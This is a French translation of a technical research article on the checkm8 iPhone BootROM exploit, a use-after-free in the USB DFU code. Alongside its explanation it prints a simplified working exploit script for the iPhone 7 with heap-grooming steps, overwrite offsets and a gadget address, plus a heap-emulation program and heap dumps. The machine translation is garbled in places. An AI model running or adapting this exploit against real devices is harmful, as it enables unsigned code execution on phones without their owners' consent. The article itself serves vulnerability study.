Analyse technique de l'exploit checkm8


Vous avez probablement déjà entendu parler du célèbre exploit checkm8 , qui utilise une vulnérabilité non corrigeable dans le BootROM de la plupart des iDevices, y compris l' iPhone X Dans cet article, nous allons fournir une analyse technique de cet exploit et déterminer les causes de la vulnérabilité.


Vous pouvez lire la version russe ici .


Présentation


Tout d'abord, décrivons brièvement le processus de démarrage d'un iDevice et le rôle que BootROM (alias SecureROM ) y joue. Des informations détaillées à ce sujet peuvent être trouvées ici . Voici à quoi ressemble le démarrage:



Lorsque le périphérique est allumé, BootROM est exécuté en premier. Ses tâches principales sont:


  • Initialisation de la plateforme (les registres de plateforme nĂ©cessaires sont installĂ©s, le CPU est initialisĂ©, etc.)
  • VĂ©rification et transfert de contrĂ´le Ă  l'Ă©tape suivante
    • BootROM prend en charge l'analyse des images IMG3/IMG4
    • BootROM a accès Ă  la clĂ© GID pour dĂ©chiffrer les images
    • pour la vĂ©rification d'image, BootROM a une clĂ© Apple publique intĂ©grĂ©e et la fonctionnalitĂ© cryptographique nĂ©cessaire
  • Restaurez l'appareil si un dĂ©marrage supplĂ©mentaire n'est pas possible ( Device Firmware Update , DFU ).

BootROM a une très petite taille et peut être appelé une version allégée d' iBoot , car ils partagent la plupart du code système et de bibliothèque. Contrairement à iBoot , BootROM ne peut pas être mis à jour. Il est placé dans la mémoire interne en lecture seule lors de la fabrication d'un périphérique. BootROM est la racine matérielle de confiance de la chaîne de démarrage sécurisée. BootROM vulnérabilités BootROM peuvent permettre à un attaquant de contrôler le processus de démarrage et d'exécuter du code non signé sur un appareil.



L'histoire de checkm8


L'exploit checkm8 été ajouté à ipwndfu par son auteur axi0mX le 27 septembre 2019. Dans le même temps, il a annoncé la mise à jour sur Twitter et a fourni une description et des informations supplémentaires sur l'exploit. Selon le fil de discussion, il a trouvé la vulnérabilité d' use-after-free libération dans le code USB lors du patch d' iBoot pour iOS 12 beta à l'été 2018.
BootROM et iBoot partagent la plupart de leur code, y compris USB , cette vulnérabilité est donc également pertinente pour BootROM .


Comme il ressort du code de l'exploit, la vulnérabilité est exploitée dans DFU . Il s'agit d'un mode dans lequel on peut transférer une image signée vers un appareil via USB qui sera démarré plus tard. Par exemple, cela peut être utile pour restaurer un appareil après une mise à jour infructueuse.


Le même jour, l'utilisateur littlelailo a déclaré avoir découvert cette vulnérabilité en mars et publié une description dans apollo.txt . La description correspond à checkm8 , bien que tous les détails de l'exploit ne deviennent pas clairs à sa lecture. C'est pourquoi nous avons décidé d'écrire cet article et de décrire tous les détails de l'exploitation jusqu'à l'exécution de la charge utile dans BootROM .


Nous avons basé notre analyse de l'exploit sur les ressources mentionnées ci-dessus et le code source d' iBoot/SecureROM , qui a été divulgué en février 2018. Nous avons également utilisé les données que nous avons obtenues des expériences effectuées sur notre appareil de test, l' iPhone 7 ( CPID:8010 ) À l'aide de checkm8 , nous avons obtenu les SecureROM de SecureROM et SecureRAM , qui ont également été utiles pour l'analyse.


Informations nécessaires sur USB


La vulnérabilité se trouvant dans le code USB , il est nécessaire de comprendre le fonctionnement de cette interface. Les spécifications complètes peuvent être trouvées sur https://www.usb.org/ , mais c'est une longue lecture. Pour nos besoins, l' USB dans un NutShell est plus que suffisant. Ici, nous ne mentionnerons que les points les plus pertinents.


Il existe différents types de transfert de données USB . Dans DFU , seul Control Transfers mode Control Transfers est utilisé (en savoir plus à ce sujet ici ). Dans ce mode, chaque transaction comporte 3 étapes:



  • Setup Stage - un paquet SETUP est envoyĂ©; il a les champs suivants:
    • bmRequestType - dĂ©finit la direction de la demande, son type et le destinataire
    • bRequest - dĂ©finit la demande Ă  effectuer
    • wValue , wIndex - sont interprĂ©tĂ©s en fonction de la demande
    • wLength - spĂ©cifie la longueur des donnĂ©es envoyĂ©es / reçues dans Data Stage
  • Data Stage - une Ă©tape facultative de transfert de donnĂ©es. Selon le paquet SETUP envoyĂ© au cours de l' Setup Stage , les donnĂ©es peuvent ĂŞtre envoyĂ©es de l'hĂ´te au pĂ©riphĂ©rique ( OUT ) ou vice versa ( IN ). Les donnĂ©es sont envoyĂ©es en petites portions (dans le cas d' Apple DFU , c'est 0x40 octets).
    • Lorsqu'un hĂ´te souhaite envoyer une autre partie des donnĂ©es, il envoie un jeton OUT puis les donnĂ©es elles-mĂŞmes.
    • Lorsqu'un hĂ´te est prĂŞt Ă  recevoir des donnĂ©es d'un appareil, il envoie un jeton IN Ă  l'appareil.
  • Status Stage - la dernière Ă©tape; l'Ă©tat de l'ensemble de la transaction est signalĂ©.
    • Pour les demandes OUT , l'hĂ´te envoie un jeton IN auquel le pĂ©riphĂ©rique doit rĂ©pondre avec un paquet de longueur nulle.
    • Pour les demandes IN , l'hĂ´te envoie un jeton OUT et un paquet de longueur nulle.

Le schéma ci-dessous montre les requêtes OUT et IN . Nous avons supprimé intentionnellement ACK , NACK et d'autres paquets de prise de contact, car ils ne sont pas importants pour l'exploit lui-même.



Analyse de apollo.txt


Nous avons commencé l'analyse avec la vulnérabilité d' apollo.txt . Le document décrit l'algorithme du mode DFU :


https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. Lorsque usb est démarré pour obtenir une image sur dfu, dfu enregistre une interface pour gérer toutes les commandes et alloue un tampon pour l'entrée et la sortie
  2. si vous envoyez des données à dfu, le paquet d'installation est géré par le code principal qui appelle ensuite le code d'interface
  3. le code d'interface vérifie que wLength est plus court que la longueur du tampon de sortie d'entrée et si c'est le cas, il met à jour un pointeur passé en argument avec un pointeur sur le tampon de sortie d'entrée
  4. il renvoie ensuite wLength qui est la longueur qu'il souhaite recevoir dans le tampon
  5. le code principal usb met ensuite à jour une variable globale avec la longueur et se prépare à recevoir les paquets de données
  6. si un paquet de données est reçu, il est écrit dans le tampon de sortie d'entrée via le pointeur qui a été passé en argument et une autre variable globale est utilisée pour garder une trace du nombre d'octets déjà reçus
  7. si toutes les données ont été reçues, le code spécifique dfu est appelé à nouveau et cela continue à copier le contenu du tampon de sortie d'entrée à l'emplacement de mémoire d'où l'image est démarrée plus tard
  8. après cela, le code usb réinitialise toutes les variables et continue à gérer de nouveaux packages
  9. si dfu quitte le tampon de sortie d'entrée est libéré et si l'analyse de l'image échoue, le bootrom revient dfu

Tout d'abord, nous avons vérifié ces étapes par rapport au code source d' iBoot . Nous ne pouvons pas utiliser les fragments du code divulgué ici, nous allons donc utiliser le pseudocode que nous avons obtenu de la rétro-ingénierie du SecureROM de notre iPhone7 dans IDA . Vous pouvez facilement trouver le code source d' iBoot et le parcourir.


Lorsque DFU est initialisé, un tampon IO est alloué et une interface USB pour le traitement des demandes à DFU est enregistrée:



Lorsque le paquet SETUP d'une demande à DFU arrive, un gestionnaire d'interface approprié est appelé. Pour les requêtes OUT (par exemple, lorsqu'une image est envoyée), en cas de réussite de l'exécution, le gestionnaire doit renvoyer l'adresse du tampon IO pour la transaction ainsi que la longueur des données qu'il s'attend à recevoir. Les deux valeurs sont stockées dans des variables globales.



La capture d'écran ci-dessous montre le gestionnaire d'interface DFU. Si une demande est correcte, l'adresse du tampon d' IO allouée lors de l'initialisation de la DFU et la longueur attendue des données du paquet SETUP sont renvoyées.



Pendant l' Data Stage , chaque partie de données est écrite dans le tampon IO , puis l'adresse du tampon IO est décalée et le compteur reçu est mis à jour. Lorsque toutes les données attendues sont reçues, le gestionnaire de données d'interface est appelé et l'état global de la transaction est effacé.



Dans le gestionnaire de données DFU, les données reçues sont déplacées vers la zone de mémoire à partir de laquelle elles seront chargées ultérieurement. Basé sur le code source d' iBoot , cette zone sur Apple appareils Apple s'appelle INSECURE_MEMORY .



Lorsque le périphérique quitte le mode DFU , le tampon d' IO précédemment alloué est libéré. Si l'image a été acquise avec succès en mode DFU , elle sera vérifiée et démarrée. S'il y a eu une erreur ou s'il était impossible de démarrer l'image, la DFU sera à nouveau initialisée et tout le processus se répétera depuis le début.


L'algorithme décrit présente une vulnérabilité d' use-after-free libération. Si nous envoyons un paquet SETUP au moment du téléchargement de l'image et terminons l' Data Stage saut de transaction, l'état global restera initialisé pendant le cycle DFU suivant, et nous pourrons écrire à l'adresse du tampon d' IO alloué lors de la précédente itération de DFU .


Maintenant que nous savons comment fonctionne l' use-after-free libération, la question est de savoir comment remplacer quoi que ce soit lors de la prochaine itération de la DFU ? Avant une autre initialisation de la DFU , toutes les ressources précédemment allouées sont libérées et l'allocation de mémoire dans une nouvelle itération doit être exactement la même. Il s'est avéré qu'il existe une autre erreur de fuite de mémoire intéressante qui permet d'exploiter l' use-after-free .


Analyse de checkm8


Passons à checkm8 lui-même. À des fins de démonstration, nous utiliserons une version simplifiée de l'exploit pour iPhone 7 , où nous avons supprimé tout le code lié aux autres plates-formes et changé l'ordre et les types de demandes USB sans endommager sa fonctionnalité. Nous nous sommes également débarrassés du processus de construction d'une charge utile, qui se trouve dans le fichier d'origine, checkm8.py . Il est facile de repérer les différences entre les versions pour d'autres appareils.


 #!/usr/bin/env python from checkm8 import * def main(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device(1800) start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, _ = exploit_config(device.serial_number) t8010_nop_gadget = 0x10000CC6C callback_chain = 0x1800B0800 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) # heap feng-shui stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) # set global state and restart usb device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) # heap occupation device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device) if __name__ == '__main__': main() 

Le fonctionnement de checkm8 comporte plusieurs Ă©tapes:


  1. Tas de feng-shui
  2. Allocation et libération du tampon d' IO sans effacement de l'état global
  3. Écraser usb_device_io_request dans le tas avec use-after-free
  4. Placer la charge utile
  5. Exécution de la callback-chain de callback-chain
  6. Exécution de shellcode

Examinons toutes les étapes en détail.


1. Tas de feng-shui


Nous pensons que c'est l'étape la plus intéressante, nous allons donc passer plus de temps à la décrire.


 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) 

Cette étape est nécessaire pour organiser le tas d'une manière qui soit bénéfique pour l'exploitation de l' use-after-free . Tout d'abord, considérons les appels stall , leak , no_leak :


 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1) 

libusb1_no_error_ctrl_transfer est un wrapper pour device.ctrlTransfer ignorant toutes les exceptions survenant lors de l'exécution d'une demande. libusb1_async_ctrl_transfer est un wrapper pour la fonction libusb_submit_transfer de libusb pour l'exécution asynchrone d'une requête.


Les paramètres suivants sont passés à ces appels:


  • NumĂ©ro d'appareil
  • DonnĂ©es pour le paquet SETUP (ici vous pouvez trouver la description ):
    • bmRequestType
    • bRequest
    • wValue
    • wIndex
  • Longueur des donnĂ©es ( wLength ) ou donnĂ©es pour l' Data Stage
  • DĂ©lai d'expiration de la demande

Les arguments bmRequestType , bRequest , wValue et wIndex sont partagés par les trois types de demande:


  • bmRequestType = 0x80
    • 0b1XXXXXXX - direction de l' Data Stage de Data Stage (appareil vers hĂ´te)
    • 0bX00XXXXX - type de demande standard
    • 0bXXX00000 - l'appareil est le destinataire de la demande
  • bRequest = 6 - demande pour obtenir un descripteur ( GET_DESCRIPTOR )
  • wValue = 0x304
    • wValueHigh = 0x3 - dĂ©finit le type du descripteur - chaĂ®ne ( USB_DT_STRING )
    • wValueLow = 0x4 - l'index du descripteur de chaĂ®ne, 4, correspond au numĂ©ro de sĂ©rie de l'appareil (dans ce cas, la chaĂ®ne est CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )
  • wIndex = 0x40A - l'identifiant du langage de la chaĂ®ne, dont la valeur n'est pas pertinente pour l'exploitation et peut ĂŞtre modifiĂ©e.

Pour chacune de ces demandes, 0x30 octets sont alloués dans le tas pour un objet de la structure suivante:



Les champs les plus intéressants de cet objet sont le callback et le next .


  • callback est le pointeur sur la fonction qui sera appelĂ©e lorsque la requĂŞte sera effectuĂ©e.
  • next est le pointeur sur l'objet suivant du mĂŞme type; il est nĂ©cessaire pour organiser la file d'attente des demandes.

La principale caractéristique du stall est son utilisation de l'exécution asynchrone d'une demande avec un délai minimum. C'est pourquoi, si nous avons de la chance, la demande sera annulée au niveau du système d'exploitation et restera dans la file d'attente d'exécution, et la transaction ne sera pas terminée. De plus, l'appareil continuera de recevoir tous les paquets SETUP venir et les placera, si nécessaire, dans la file d'attente d'exécution. Plus tard, en expérimentant le contrôleur USB sur Arduino , nous avons découvert que pour une exploitation réussie, nous avons besoin que l'hôte envoie un paquet SETUP et un jeton IN , après quoi la transaction doit être annulée en raison du délai d'expiration. Cette transaction incomplète ressemble à ceci:



En outre, les demandes ne diffèrent que par une unité. Pour les demandes standard, il existe un callback standard qui ressemble à ceci:



La valeur de io_length est égale au minimum de wLength dans le paquet SETUP la demande et à la longueur d'origine du descripteur demandé. Le descripteur étant assez long, nous pouvons contrôler la valeur de io_length dans sa longueur. La valeur de g_setup_request.wLength est égale à la valeur de wLength du dernier paquet SETUP . Dans ce cas, c'est 0xC1 .


Ainsi, les demandes formées par le stall et la leak appels sont terminées, la condition dans la fonction de callback du terminal est satisfaite et usb_core_send_zlp() est appelé. Cet appel crée un paquet nul (paquet de zero-length-packet ) et l'ajoute à la file d'attente d'exécution. Cela est nécessaire pour la bonne exécution de la transaction dans la Status Stage .


La demande est complétée en appelant la fonction usb_core_complete_endpoint_io . Tout d'abord, il appelle le callback , puis libère la mémoire de la demande. La demande est terminée non seulement lorsque l'ensemble de la transaction est terminée, mais également lorsque la USB est réinitialisée. Lorsque le signal de réinitialisation USB est reçu, toutes les demandes dans la file d'attente d'exécution seront terminées.


En appelant sélectivement usb_core_send_zlp() lorsque vous parcourez la file d'attente d'exécution et libérez les requêtes par la suite, nous pouvons obtenir un contrôle suffisant sur le tas pour l'exploitation de use-after-free . Tout d'abord, regardons la boucle de nettoyage des requêtes:



Comme vous pouvez le voir, la file d'attente est vidée, puis les demandes annulées sont exécutées et terminées par usb_core_complete_endpoint_io . Les requêtes allouées par usb_core_send_zlp sont placées dans ep->io_head . Une fois la réinitialisation USB terminée, toutes les informations sur le point de terminaison seront claires, y compris les pointeurs io_head et io_tail , et les demandes de longueur nulle resteront dans le tas. Ainsi, nous pouvons créer un petit morceau au milieu du tas. Le schéma ci-dessous montre comment cela se fait:



Dans le tas de SecureROM , une nouvelle zone de mémoire est allouée à partir du plus petit morceau libre approprié. En créant un petit morceau libre en utilisant la méthode décrite ci-dessus, nous pouvons contrôler l'allocation de mémoire lors de l'initialisation USB , y compris l'allocation de l' io_buffer et les requêtes.


Pour mieux comprendre cela, voyons quelles requêtes sont DFU au tas lorsque DFU est initialisé. Lors de l'analyse du code source iBoot et de la rétro-ingénierie de SecureROM , nous avons obtenu la séquence suivante:


    1. Attribution de divers descripteurs de chaîne
      • 1.1. Nonce (taille 234 )
      • 1.2. Manufacturer ( 22 )
      • 1.3. Product ( 62 )
      • 1.4. Serial Number ( 198 )
      • 1.5. Configuration string ( 62 )

    1. Allocations liées à la création de la tâche de contrôleur USB
      • 2.1. Structure des tâches ( 0x3c0 )
      • 2.2. Pile de tâches ( 0x1000 )

    1. io_buffer ( 0x800 )

    1. Descripteurs de configuration
      • 4.1. High-Speed ( 25 )
      • 4.2. Full-Speed ( 25 )


Ensuite, les structures de demande sont allouées. S'il y a un petit morceau dans le tas, certaines allocations de la première catégorie y iront et toutes les autres allocations seront déplacées. Ainsi, nous pourrons déborder de usb_device_io_request en faisant référence à l'ancien tampon. Cela ressemble à ceci:



Pour calculer le décalage nécessaire, nous avons simplement émulé toutes les allocations répertoriées ci-dessus et adapté un peu le code source du tas iBoot .


Émulation de requêtes vers le tas dans DFU
 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // alignment of the low order bytes of addresses in SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; } 

La sortie du programme avec 8 requĂŞtes au stade heap feng-shui :


 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540 

Comme vous pouvez le voir, un autre usb_device_io_request apparaîtra à l'offset de 0x5c0 depuis le début du tampon précédent, ce qui correspond au code de l'exploit:


 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) 

Vous pouvez vérifier la validité de ces conclusions en analysant l'état actuel du tas SecureRAM , que nous avons obtenu avec checkm8 . À cet effet, nous avons écrit un script simple qui analyse le vidage du tas et énumère les morceaux. Gardez à l'esprit que lors du débordement usb_device_io_request , une partie des métadonnées a été endommagée, nous l'ignorons donc lors de l'analyse.


 #!/usr/bin/env python3 import struct from hexdump import hexdump with open('HEAP', 'rb') as f: heap = f.read() cur = 0x4000 def parse_header(cur): _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30]) is_free = t & 1 prev_free = (t >> 1) & 1 prev_size = t >> 2 this_size *= 0x40 prev_size *= 0x40 return this_size, is_free, prev_size, prev_free while True: try: this_size, is_free, prev_size, prev_free = parse_header(cur) except Exception as ex: break print('chunk at', hex(cur + 0x40)) if this_size == 0: if cur in (0x9180, 0x9200, 0x9280): # skipping damaged chunks this_size = 0x80 else: break print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free) hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)]) cur += this_size 

La sortie du script avec des commentaires se trouve sous le spoiler. Vous pouvez voir que les octets de poids faible correspondent aux résultats de l'émulation.


RĂ©sultat de l'analyse du tas dans SecureRAM
 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF 